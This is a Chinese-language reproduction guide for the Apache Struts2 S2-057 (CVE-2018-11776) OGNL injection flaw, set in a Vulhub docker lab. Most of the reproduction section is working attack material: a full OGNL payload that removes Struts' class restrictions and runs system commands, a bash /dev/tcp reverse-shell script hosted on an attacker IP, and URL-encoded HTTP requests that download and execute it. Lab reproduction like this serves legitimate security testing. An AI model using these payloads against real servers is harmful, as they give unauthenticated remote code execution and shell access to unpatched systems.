跳转至

Struts2 S2-057 远程代码执行漏洞 CVE-2018-11776

漏洞描述

漏洞详情:

  • https://cwiki.apache.org/confluence/display/WW/S2-057
  • https://lgtm.com/blog/apache_struts_CVE-2018-11776
  • https://xz.aliyun.com/t/2618
  • https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg

影响版本

影响版本:Struts <= 2.3.34、Struts 2.5.16

环境搭建

Vulhub执行以下命令启动s2-057测试环境:

docker-compose build
docker-compose up -d

启动环境后,访问http://your-ip:8080/orders.xhtml即可看到showcase页面。

漏洞复现

S2-057 需要以下条件:

  • alwaysSelectFullNamespace为真
  • 操作元素没有设置命名空间属性,或者使用通配符

命名空间会被用户从uri传递过来,解析为OGNL表达式,最终导致远程代码执行漏洞。

有效载荷:

http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

image-20220302133213897

可以看到Location头中已经返回了233*233的结果。

使用来自S2-057 漏洞分析的有效Payload和 POC:

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

成功执行id命令:

image-20220302134417065

反弹shell

编写shell脚本并启动http服务器:

echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下:python -m http.server 80

上传shell.sh文件的命令为:

wget 192.168.174.128/shell.sh

上传shell.sh文件的Payload为:

GET /struts2-showcase/$%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27wget%20192.168.174.128/shell.sh%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1

执行shell.sh文件的命令为:

bash shell.sh

执行shell.sh文件的Payload为:

GET /struts2-showcase/$%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27bash%20shell.sh%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1

成功接收反弹shell:

image-20220302134534862